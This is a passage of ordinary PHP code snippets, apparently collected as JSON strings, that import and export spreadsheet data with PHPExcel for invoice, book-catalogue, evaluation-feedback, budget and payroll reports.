}\n } else {\n \n }\n }\n } else {\n $response['id'] = 'file_ex_withot_invoice';\n $response['error'] = 'Year is mismatch with file.Please choose correct.';\n echo json_encode($response);\n exit;\n }\n\n $count = count($original_month);\n $query = $this->db2->query(\"SELECT * FROM `invoice_not_included_gstr1` where customer_id='$customer_id'\");\n if ($this->db2->affected_rows() > 0) {\n $monthly_history = $this->insert_without_invoice_history($customer_id);\n if ($monthly_history == true) {\n for ($k = 0; $k < $count; $k++) {\n\n if ($original_month[$k] == \"\") {\n $original_month[$k] = \"0\";\n }\n if ($showing_month[$k] == \"\") {\n $showing_month[$k] = \"0\";\n }\n if ($category[$k] == \"\") {\n $category[$k] = \"0\";\n }\n if ($gstin_arr[$k] == \"\") {\n $gstin_arr[$k] = \"0\";\n }\n if ($invoice_date[$k] == \"\") {\n $invoice_date[$k] = \"0\";\n }\n if ($invoice_no[$k] == \"\") {\n $invoice_no[$k] = \"0\";\n }\n if ($name[$k] == \"\") {\n $name[$k] = \"Not Given\";\n }\n if ($invoice_value[$k] == \"\") {\n $invoice_value[$k] = \"0\";\n }\n if ($taxable_value[$k] == \"\") {\n $taxable_value[$k] = \"0\";\n }\n if ($igst[$k] == \"\") {\n $igst[$k] = \"0\";\n }\n if ($cgst[$k] == \"\") {\n $cgst[$k] = \"0\";\n }\n if ($sgst[$k] == \"\") {\n $sgst[$k] = \"0\";\n }\n if ($cess[$k] == \"\") {\n $cess[$k] = \"0\";\n }\n\n $query = (\"insert into invoice_not_included_gstr1 (`customer_id`,`insert_id`,`original_month`,`showing_month`,\"\n . \"`category`,`gstin_no`,`invoice_date`,`invoice_no`,`name`,`invoice_value`,`taxable_value`,`igst`,`cgst`,`sgst`,`cess`)\"\n . \"values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)\");\n $this->db2->query($query, array($customer_id, $insert_id, $original_month[$k], $showing_month[$k], $category[$k], $gstin_arr[$k],\n $invoice_date[$k], $invoice_no[$k], $name[$k], $invoice_value[$k], $taxable_value[$k], $igst[$k], $cgst[$k], $sgst[$k], $cess[$k]));\n if ($this->db2->affected_rows() > 0) {\n// echo'yes';\n $without_invoice++;\n }\n }\n }\n } else {\n for ($k = 0; $k < $count; $k++) {\n\n if ($original_month[$k] == \"\") {\n $original_month[$k] = \"0\";\n }\n if ($showing_month[$k] == \"\") {\n $showing_month[$k] = \"0\";\n }\n if ($category[$k] == \"\") {\n $category[$k] = \"0\";\n }\n if ($gstin_arr[$k] == \"\") {\n $gstin_arr[$k] = \"0\";\n }\n if ($invoice_date[$k] == \"\") {\n $invoice_date[$k] = \"0\";\n }\n if ($invoice_no[$k] == \"\") {\n $invoice_no[$k] = \"0\";\n }\n if ($name[$k] == \"\") {\n $name[$k] = \"Not Given\";\n }\n if ($invoice_value[$k] == \"\") {\n $invoice_value[$k] = \"0\";\n }\n if ($taxable_value[$k] == \"\") {\n $taxable_value[$k] = \"0\";\n }\n if ($igst[$k] == \"\") {\n $igst[$k] = \"0\";\n }\n if ($cgst[$k] == \"\") {\n $cgst[$k] = \"0\";\n }\n if ($sgst[$k] == \"\") {\n $sgst[$k] = \"0\";\n }\n if ($cess[$k] == \"\") {\n $cess[$k] = \"0\";\n }\n\n $query = (\"insert into invoice_not_included_gstr1 (`customer_id`,`insert_id`,`original_month`,`showing_month`,\"\n . \"`category`,`gstin_no`,`invoice_date`,`invoice_no`,`name`,`invoice_value`,`taxable_value`,`igst`,`cgst`,`sgst`,`cess`)\"\n . \"values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)\");\n $this->db2->query($query, array($customer_id, $insert_id, $original_month[$k], $showing_month[$k], $category[$k], $gstin_arr[$k],\n $invoice_date[$k], $invoice_no[$k], $name[$k], $invoice_value[$k], $taxable_value[$k], $igst[$k], $cgst[$k], $sgst[$k], $cess[$k]));\n// if ($this->db2->affected_rows() > 0) {\n//// echo'yes';\n// } else {\n//// echo'no';\n// }\n }\n }\n return $without_invoice;\n }", "function perform_export()\n {\n global $CFG;\n require_once($CFG->dirroot.'/blocks/bcgt/lib.php');\n global $CFG, $USER;\n $name = preg_replace(\"/[^a-z 0-9]/i\", \"\", $this->get_name());\n \n ob_clean();\n header(\"Pragma: public\");\n header('Content-Type: application/vnd.ms-excel; charset=utf-8');\n header('Content-Disposition: attachment; filename=\"'.$name.'.xlsx\"'); \n header(\"Cache-Control: must-revalidate, post-check=0, pre-check=0\");\n header(\"Cache-Control: private\", false);\n\n require_once $CFG->dirroot . '/blocks/bcgt/lib/PHPExcel/Classes/PHPExcel.php';\n \n $objPHPExcel = new \\PHPExcel();\n $objPHPExcel->getProperties()\n ->setCreator(fullname($USER))\n ->setLastModifiedBy(fullname($USER))\n ->setTitle($this->get_name())\n ->setSubject($this->get_name())\n ->setDescription($this->get_description());\n\n // Remove default sheet\n $objPHPExcel->removeSheetByIndex(0);\n \n $sheetIndex = 0;\n \n // Set current sheet\n $objPHPExcel->createSheet($sheetIndex);\n $objPHPExcel->setActiveSheetIndex($sheetIndex);\n $objPHPExcel->getActiveSheet()->setTitle(\"Report\");\n \n $rowNum = 1;\n\n // Headers\n if(isset($this->header))\n {\n if(!$this->has_split_header())\n {\n $col = 0;\n foreach($this->header AS $head)\n {\n $objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $rowNum, $head);\n $col++;\n }\n $rowNum++;\n }\n else\n {\n //foreach row\n foreach($this->header AS $row)\n {\n $col = 0;\n foreach($row AS $rowObj)\n {\n $columnCount = $rowObj->colCount;\n $columnContent = $rowObj->content;\n //add all the cells, \n //thenmerge\n $startCol = $col;\n for($i=0;$i<$columnCount;$i++)\n {\n if($i == 0)\n {\n $objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $rowNum, $columnContent);\n }\n else\n {\n $objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $rowNum, '');\n }\n $col++;\n }\n $endCol = $col;\n if($columnCount != 1)\n {\n $objPHPExcel->getActiveSheet()->mergeCells(''.PHPExcel_Cell::stringFromColumnIndex($startCol).\n ''.$rowNum.':'.PHPExcel_Cell::stringFromColumnIndex($endCol - 1).''.$rowNum);\n }\n \n \n }\n $rowNum++;\n }\n } \n \n }\n //data\n if(isset($this->data))\n {\n foreach($this->data AS $data)\n {\n $col = 0;\n foreach($data AS $cell)\n { \n if(is_a($cell, 'stdClass'))\n {\n $objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $rowNum, $this->build_excell_cell($cell));\n $objPHPExcel->getActiveSheet()->getStyle(''.PHPExcel_Cell::stringFromColumnIndex($col).''.$rowNum)->applyFromArray(\n array(\n 'fill' => array(\n 'type' => PHPExcel_Style_Fill::FILL_SOLID,\n 'color' => $this->get_excell_cell_color($cell)\n ),\n 'borders' => array(\n 'outline' => array(\n 'style' => PHPExcel_Style_Border::BORDER_THIN,\n 'color' => array('rgb'=>'cfcfcf')\n )\n )\n )\n ); \n if(isset($cell->colspan) && $cell->colspan > 1)\n {\n $objPHPExcel->getActiveSheet()->mergeCells(''.PHPExcel_Cell::stringFromColumnIndex($col).\n ''.$rowNum.':'.PHPExcel_Cell::stringFromColumnIndex($col + ($cell->colspan - 1)).''.$rowNum);\n \n $col = $col + ($cell->colspan - 1);\n }\n }\n else\n {\n $objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $rowNum, $cell);\n }\n \n $col++;\n } \n $rowNum++;\n }\n }\n \n // Freeze rows and cols (everything to the left of D and above 2)\n $objPHPExcel->getActiveSheet()->freezePane($this->get_frozen_panes());\n \n // End\n $objPHPExcel->setActiveSheetIndex(0);\n $objWriter = \\PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel2007');\n\n ob_clean();\n $objWriter->save('php://output');\n \n exit;\n }", "public function export(){\n include APPPATH.'third_party/PHPExcel/Classes/PHPExcel.php';\n \n // Panggil class PHPExcel nya\n $excel = new PHPExcel();\n\n // Settingan awal fil excel\n $excel->getProperties()->setCreator('My Notes Code')\n ->setLastModifiedBy('My Notes Code')\n ->setTitle(\"Data Buku\")\n ->setSubject(\"tb_buku\")\n ->setDescription(\"Laporan Semua Data Buku\")\n ->setKeywords(\"Data Buku\");\n\n // Buat sebuah variabel untuk menampung pengaturan style dari header tabel\n $style_col = array(\n 'font' => array('bold' => true), // Set font nya jadi bold\n 'alignment' => array(\n 'horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER, // Set text jadi ditengah secara horizontal (center)\n 'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER // Set text jadi di tengah secara vertical (middle)\n ),\n 'borders' => array(\n 'top' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border top dengan garis tipis\n 'right' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border right dengan garis tipis\n 'bottom' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border bottom dengan garis tipis\n 'left' => array('style' => PHPExcel_Style_Border::BORDER_THIN) // Set border left dengan garis tipis\n )\n );\n\n // Buat sebuah variabel untuk menampung pengaturan style dari isi tabel\n $style_row = array(\n 'alignment' => array(\n 'horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER, // Set text jadi ditengah secara horizontal (center)\n 'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER // Set text jadi di tengah secara vertical (middle)\n ),\n 'borders' => array(\n 'top' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border top dengan garis tipis\n 'right' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border right dengan garis tipis\n 'bottom' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border bottom dengan garis tipis\n 'left' => array('style' => PHPExcel_Style_Border::BORDER_THIN) // Set border left dengan garis tipis\n )\n );\n\n $excel->setActiveSheetIndex(0)->setCellValue('A1', \"RELASI INTI MEDIA ( FAMILIA, ISTANA MEDIA, QUDSI MEDIA DAN FORUM )\"); // Set kolom A1 dengan tulisan \"DATA SISWA\"\n $excel->setActiveSheetIndex(0)->setCellValue('A2', \"Jl. Permadi Nyutran RT/RW. 61/19 MJ II No. 1606 C, Wirogunan, Mergangsan, Yogyakarta 55151\"); // Set kolom A1 dengan tulisan \"DATA SISWA\"\n $excel->setActiveSheetIndex(0)->setCellValue('A3', \"Email: relasidistribusi@gmail.com Telp: (0274) 2870300\"); // Set kolom A1 dengan tulisan \"DATA SISWA\"\n $excel->setActiveSheetIndex(0)->setCellValue('A5', \"DATA BUKU\");\n $excel->getActiveSheet()->mergeCells('A1:N1'); // Set Merge Cell pada kolom A1 sampai E1\n $excel->getActiveSheet()->mergeCells('A2:N2'); // Set Merge Cell pada kolom A1 sampai E1\n $excel->getActiveSheet()->mergeCells('A3:N3'); // Set Merge Cell pada kolom A1 sampai E1\n $excel->getActiveSheet()->mergeCells('A5:N5'); // Set Merge Cell pada kolom A1 sampai E1\n $excel->getActiveSheet()->getStyle('A1')->getFont()->setBold(TRUE); // Set bold kolom A1\n $excel->getActiveSheet()->getStyle('A5')->getFont()->setBold(TRUE); // Set bold kolom A1\n $excel->getActiveSheet()->getStyle('A1')->getFont()->setSize(15); // Set font size 15 untuk kolom A1\n $excel->getActiveSheet()->getStyle('A5')->getFont()->setSize(15);\n $excel->getActiveSheet()->getStyle('A1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n $excel->getActiveSheet()->getStyle('A2')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n $excel->getActiveSheet()->getStyle('A3')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n $excel->getActiveSheet()->getStyle('A5')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER); // Set text center untuk kolom A1\n\n // Buat header tabel nya pada baris ke 3\n $excel->setActiveSheetIndex(0)->setCellValue('A7', \"NO\"); // Set kolom A3 dengan tulisan \"NO\"\n $excel->setActiveSheetIndex(0)->setCellValue('B7', \"KODE BUKU\"); // Set kolom A3 dengan tulisan \"NO\"\n $excel->setActiveSheetIndex(0)->setCellValue('C7', \"JUDUL\"); // Set kolom B3 dengan tulisan \"NIS\"\n $excel->setActiveSheetIndex(0)->setCellValue('D7', \"KATEGORI\"); // Set kolom C3 dengan tulisan \"NAMA\"\n $excel->setActiveSheetIndex(0)->setCellValue('E7', \"PENULIS\"); // Set kolom D3 dengan tulisan \"JENIS KELAMIN\"\n $excel->setActiveSheetIndex(0)->setCellValue('F7', \"PENERBIT\");\n $excel->setActiveSheetIndex(0)->setCellValue('G7', \"UKURAN\");\n $excel->setActiveSheetIndex(0)->setCellValue('H7', \"JUMLAH HALAMAN\");\n $excel->setActiveSheetIndex(0)->setCellValue('I7', \"ISBN\");\n $excel->setActiveSheetIndex(0)->setCellValue('J7', \"TAHUN TERBIT\");\n $excel->setActiveSheetIndex(0)->setCellValue('K7', \"HARGA (Rp)\");\n $excel->setActiveSheetIndex(0)->setCellValue('L7', \"STOK\");\n $excel->setActiveSheetIndex(0)->setCellValue('M7', \"KETERANGAN\");\n $excel->setActiveSheetIndex(0)->setCellValue('N7', \"STATUS\");\n\n // Apply style header yang telah kita buat tadi ke masing-masing kolom header\n $excel->getActiveSheet()->getStyle('A7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('B7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('C7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('D7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('E7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('F7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('G7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('H7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('I7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('J7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('K7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('L7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('M7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('N7')->applyFromArray($style_col);\n\n\n // Panggil function view yang ada di SiswaModel untuk menampilkan semua data siswanya\n $buku = $this->buku_model->showAllBuku();\n\n $no = 1; // Untuk penomoran tabel, di awal set dengan 1\n $numrow = 8; // Set baris pertama untuk isi tabel adalah baris ke 4\n foreach($buku as $data){ // Lakukan looping pada variabel siswa\n $excel->setActiveSheetIndex(0)->setCellValue('A'.$numrow, $no);\n $excel->setActiveSheetIndex(0)->setCellValue('B'.$numrow, $data->kd_buku);\n $excel->setActiveSheetIndex(0)->setCellValue('C'.$numrow, $data->judul);\n $excel->setActiveSheetIndex(0)->setCellValue('D'.$numrow, $data->nama_kategori);\n $excel->setActiveSheetIndex(0)->setCellValue('E'.$numrow, $data->nama_penulis);\n $excel->setActiveSheetIndex(0)->setCellValue('F'.$numrow, $data->nama_penerbit);\n $excel->setActiveSheetIndex(0)->setCellValue('G'.$numrow, $data->ukuran);\n $excel->setActiveSheetIndex(0)->setCellValue('H'.$numrow, $data->jml_halaman);\n $excel->setActiveSheetIndex(0)->setCellValue('I'.$numrow, $data->isbn);\n $excel->setActiveSheetIndex(0)->setCellValue('J'.$numrow, $data->thn_terbit);\n $excel->setActiveSheetIndex(0)->setCellValue('K'.$numrow, $data->harga);\n $excel->setActiveSheetIndex(0)->setCellValue('L'.$numrow, $data->stok);\n $excel->setActiveSheetIndex(0)->setCellValue('M'.$numrow, $data->keterangan);\n $excel->setActiveSheetIndex(0)->setCellValue('N'.$numrow, $data->status);\n \n // Apply style row yang telah kita buat tadi ke masing-masing baris (isi tabel)\n $excel->getActiveSheet()->getStyle('A'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('B'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('C'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('D'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('E'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('F'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('G'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('H'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('I'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('J'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('K'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('L'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('M'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('N'.$numrow)->applyFromArray($style_row);\n \n $no++; // Tambah 1 setiap kali looping\n $numrow++; // Tambah 1 setiap kali looping\n }\n\n // Set width kolom\n $excel->getActiveSheet()->getColumnDimension('A')->setWidth(5); // Set width kolom A\n $excel->getActiveSheet()->getColumnDimension('B')->setWidth(13); // Set width kolom B\n $excel->getActiveSheet()->getColumnDimension('C')->setWidth(60); // Set width kolom C\n $excel->getActiveSheet()->getColumnDimension('D')->setWidth(25); // Set width kolom D\n $excel->getActiveSheet()->getColumnDimension('E')->setWidth(40); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('F')->setWidth(15); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('G')->setWidth(13); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('H')->setWidth(20); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('I')->setWidth(20); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('J')->setWidth(15); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('K')->setWidth(18); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('L')->setWidth(10); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('M')->setWidth(40); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('N')->setWidth(15); // Set width kolom E\n \n // Set height semua kolom menjadi auto (mengikuti height isi dari kolommnya, jadi otomatis)\n $excel->getActiveSheet()->getDefaultRowDimension()->setRowHeight(-1);\n\n // Set orientasi kertas jadi LANDSCAPE\n $excel->getActiveSheet()->getPageSetup()->setOrientation(PHPExcel_Worksheet_PageSetup::ORIENTATION_LANDSCAPE);\n\n // Set judul file excel nya\n $excel->getActiveSheet(0)->setTitle(\"Laporan Data Buku\");\n $excel->setActiveSheetIndex(0);\n\n // Proses file excel\n header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n header('Content-Disposition: attachment; filename=\"Data Buku.xlsx\"'); // Set nama file excel nya\n header('Cache-Control: max-age=0');\n\n $write = PHPExcel_IOFactory::createWriter($excel, 'Excel2007');\n $write->save('php://output');\n }", "public static function excelSkillsHeadingsMYSQL()\n {\n return [\n 'skills' => 'Skill type',\n 'agriculture' => 'Agriculture forestry and fishing',\n 'mining' => 'Mining',\n 'manufacturing' => 'Manufacturing',\n 'electricity' => 'Electricity gas water and waste services',\n 'construction' => 'Construction',\n 'w_trade' => 'Wholesale trade',\n 'r_trade' => 'Retail trade',\n 'accommodation' => 'Accommodation and food services',\n 'transport' => 'Transport postal and warehousing',\n 'ict' => 'Information media and telecommunications',\n 'financial' => 'Financial and insurance services',\n 'r_estate' => 'Rental hiring and real estate services',\n 'professional' => 'Professional scientific and technical services',\n 'admin' => 'Administrative and support services',\n 'public' => 'Public administration and safety',\n 'education' => 'Education and training',\n 'health' => 'Health care and social assistance',\n 'arts' => 'Arts and recreation services',\n 'o_services' => 'Other services',\n 'sa_state' => 'South australia'\n ];\n }", "public function onReadAllDataExcelBeneficiarios()\n {\n if (!$this->archivoValido)\n return;\n $log = [\n 'Correcto' => $this->getImportSuccessLog(),\n 'Incorrecto' => $this->getImportErrorLog(),\n 'Guardar' => $this->getDataGuardar()\n ];\n\n $pathImportJson = Yii::getAlias('@ImportJson/beneficiarios/');\n $archivo = date('Ymd-His_') . Yii::$app->user->id . '_beneficiarios.json';\n file_put_contents($pathImportJson . $archivo, Json::encode($log));\n $this->redirect(['import/beneficiarios-paso2', 'archivo' => $archivo]);\n }", "public function CreateExcelReport(){\n\t\t$objPHPExcel = new PHPExcel();\n\n\t\t$rows = array();\n\t\t$row_count = 2; //counter to loop through the Excel spreadsheet rows\n\n\t\t$objPHPExcel->getProperties()->setCreator(\"dxLink\")\n\t\t\t\t\t\t\t ->setLastModifiedBy(\"dxLink\")\n\t\t\t\t\t\t\t ->setTitle(\"dxLink program evaluation feedback\")\n\t\t\t\t\t\t\t ->setSubject(\"dxLink program evaluation feedback\")\n\t\t\t\t\t\t\t ->setDescription(\"Generates all data from dxLink evaluation program form\")\n\t\t\t\t\t\t\t ->setKeywords(\"dxLink evaluation program form feedback\")\n\t\t\t\t\t\t\t ->setCategory(\"evaluation result file\");\n\n\t\t$objPHPExcel->setActiveSheetIndex(0);\n\t\t$objPHPExcel->getActiveSheet()->setCellValue('A1', 'First Name')\n\t\t\t\t ->setCellValue('B1', 'Last Name')\n\t\t\t\t ->setCellValue('C1', 'Program')\n\t\t\t\t ->setCellValue('D1', 'Question')\n\t\t\t\t ->setCellValue('E1', 'Answer')\n\t\t\t\t ->setCellValue('F1', 'Comment')\n\t\t\t\t ->setCellValue('G1', 'Date Posted');\n\n \t$sql = \"SELECT doctor_answers.question_id, doctor_answers.doctor_answer, DATE_FORMAT(doctor_answers.date_of_answer,'%Y-%m-%d') AS date_of_answer, doctor_answers.comments, doctors.first_name, doctors.last_name, program_sections.program_id \n\t\tFROM doctor_answers, doctors, program_sections, questions \n\t\tWHERE doctors.doctor_id = doctor_answers.doctor_id AND program_sections.program_section_id = doctor_answers.program_section_id AND program_sections.program_section_type = 'Evaluation form' AND questions.question_id = doctor_answers.question_id\n\t\tORDER BY doctor_answers.date_of_answer DESC\";\n\n $query = $this->con->prepare($sql);\n $query->execute();\n\n while($result_row = $query->fetch(PDO::FETCH_ASSOC) ){\n \t$fisrt_name = $result_row['first_name'];\n \t$last_name = $result_row['last_name'];\n \t$program_id = $result_row['program_id']; \n\t\t\t$question_id = $result_row['question_id']; \n\t\t\t$answer = $result_row['doctor_answer']; \n\t\t\t$date_posted = $result_row['date_of_answer'];\n\t\t\t$comment = $result_row['comments'];\n\t\t\t$program = $this->Get_Program($program_id);\n\t\t\t$question = $this->Get_question($question_id);\n\t\t\tarray_push($rows, array($fisrt_name, $last_name, $program, $question, $answer, $comment, $date_posted));\n }\n \n \n foreach ($rows as $row => $column) {\n\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('A' . $row_count, $column[0])\n\t\t\t\t\t\t\t ->setCellValue('B' . $row_count, $column[1])\n\t\t\t\t\t\t\t ->setCellValue('C' . $row_count, $column[2])\n\t\t\t\t\t\t\t ->setCellValue('D' . $row_count, $column[3])\n\t\t\t\t\t\t\t ->setCellValue('E' . $row_count, $column[4])\n\t\t\t\t\t\t\t ->setCellValue('F' . $row_count, $column[5])\n\t\t\t\t\t\t\t ->setCellValue('G' . $row_count, $column[6]);\n\n\t\t\t$objPHPExcel->getActiveSheet()->getRowDimension($row_count)->setRowHeight(50); \n\n\t\t $row_count++;\t\t\n\t\t}\t\n\n\t\t//Set widths of all columns\n\t\t$objPHPExcel->getActiveSheet()->getColumnDimension('A')->setWidth(25);\n\t\t$objPHPExcel->getActiveSheet()->getColumnDimension('B')->setWidth(25);\n\t\t$objPHPExcel->getActiveSheet()->getColumnDimension('C')->setWidth(60);\n\t\t$objPHPExcel->getActiveSheet()->getColumnDimension('D')->setWidth(60);\n\t\t$objPHPExcel->getActiveSheet()->getColumnDimension('E')->setWidth(110);\n\t\t$objPHPExcel->getActiveSheet()->getColumnDimension('F')->setWidth(110);\n\t\t$objPHPExcel->getActiveSheet()->getColumnDimension('G')->setWidth(25);\n\n\t\t//Fill design settings for first heading row\n\t\t$objPHPExcel->getActiveSheet()->getRowDimension(1)->setRowHeight(30);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A1:G1')->getFill()->setFillType(PHPExcel_Style_Fill::FILL_SOLID)->getStartColor()->setARGB('FF808080');\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A1:G1')->getFont()->getColor()->setARGB(PHPExcel_Style_Color::COLOR_WHITE);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A1:G1')->getFont()->setSize(16);\n\t\t$objPHPExcel->getActiveSheet()->freezePane('A2');\n\n\t\t//Align all cells\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A1:G' . $row_count)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A1:G' . $row_count)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\n\n\t\t// Set active sheet index to the first sheet, so Excel opens this as the first sheet\n\t\t$objPHPExcel->setActiveSheetIndex(0);\n\t\t\n\t\t$objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel2007');\n\t\t$objWriter->save('../Reports/dxLink_Evaluation_feedback_report.xlsx');\n\t\t\n\t\techo 'exported';\n\t\treturn true;\n\t}", "public function readExcel() {\n $config['upload_path'] = \"./uploads/\";\n $config['allowed_types'] = 'xlsx|xls';\n $config['max_size'] = '25000';\n $config['file_name'] = 'BUDGET-' . date('YmdHis');\n\n $this->load->library('upload', $config);\n\n\n if ($this->upload->do_upload(\"namafile\")) {\n $data = $this->upload->data();\n $file = './uploads/' . $data['file_name'];\n\n //load the excel library\n $this->load->library('excel/phpexcel');\n //read file from path\n $objPHPExcel = PHPExcel_IOFactory::load($file);\n //get only the Cell Collection\n $cell_collection = $objPHPExcel->getActiveSheet()->getCellCollection();\n //extract to a PHP readable array format\n foreach ($cell_collection as $cell) {\n $column = $objPHPExcel->getActiveSheet()->getCell($cell)->getColumn();\n $row = $objPHPExcel->getActiveSheet()->getCell($cell)->getRow();\n $data_value = $objPHPExcel->getActiveSheet()->getCell($cell)->getValue();\n //header will/should be in row 1 only. of course this can be modified to suit your need.\n if ($row == 1) {\n $header[$row][$column] = $data_value;\n } else {\n $arr_data[$row][$column] = $data_value;\n }\n }\n // BudgetCOA, Year, BranchID, BisUnitID, DivisionID, BudgetValue, CreateDate, CreateBy, BudgetOwnID, BudgetUsed, Status, Is_trash\n $data = '';\n $flag = 1;\n $date = date('Y-m-d');\n $by = $this->session->userdata('user_id');\n\n foreach ($arr_data as $key => $value) {\n if (!empty($value[\"F\"]) && $value[\"F\"] != \"-\" && $value[\"F\"] != \"\" && !empty($value[\"A\"])) {\n $this->Budget_mdl->simpan($value[\"A\"], $value[\"B\"], $value[\"D\"], $value[\"E\"], $value[\"F\"]);\n }\n }\n\n // $this->Budget_mdl->simpanData($data);\t\n } else {\n $this->session->set_flashdata('msg', $this->upload->display_errors());\n }\n echo json_encode(TRUE);\n }", "function print_header(){\n\t\tglobal $worksheet, $xlsRow, $COM_LEVEL_SALP;\n\n\t\t$worksheet->set_column(0, 0, 6);\n\t\t$worksheet->set_column(1, 1, 20);\n\t\t$worksheet->set_column(2, 2, 25);\n\t\t$worksheet->set_column(3, 3, 50);\n\t\t$worksheet->set_column(4, 4, 15);\n\t\t$worksheet->set_column(5, 5, 15);\n\t\t$worksheet->set_column(6, 6, 15);\n\t\t$worksheet->set_column(7, 7, 15);\n\t\t$worksheet->set_column(8, 8, 35);\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ลำดับ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"เลขประจำตัวประชาชน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"ชื่อ-นามสกุล\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 3, \"ตำแหน่ง/สังกัด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 4, \"เลขที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 5, \"อัตราเงินเดือน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 6, \"เงินตอบแทน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 7, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 8, \"หมายเหตุ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 3, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 4, \"ตำแหน่ง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"ที่เต็มขั้น\", 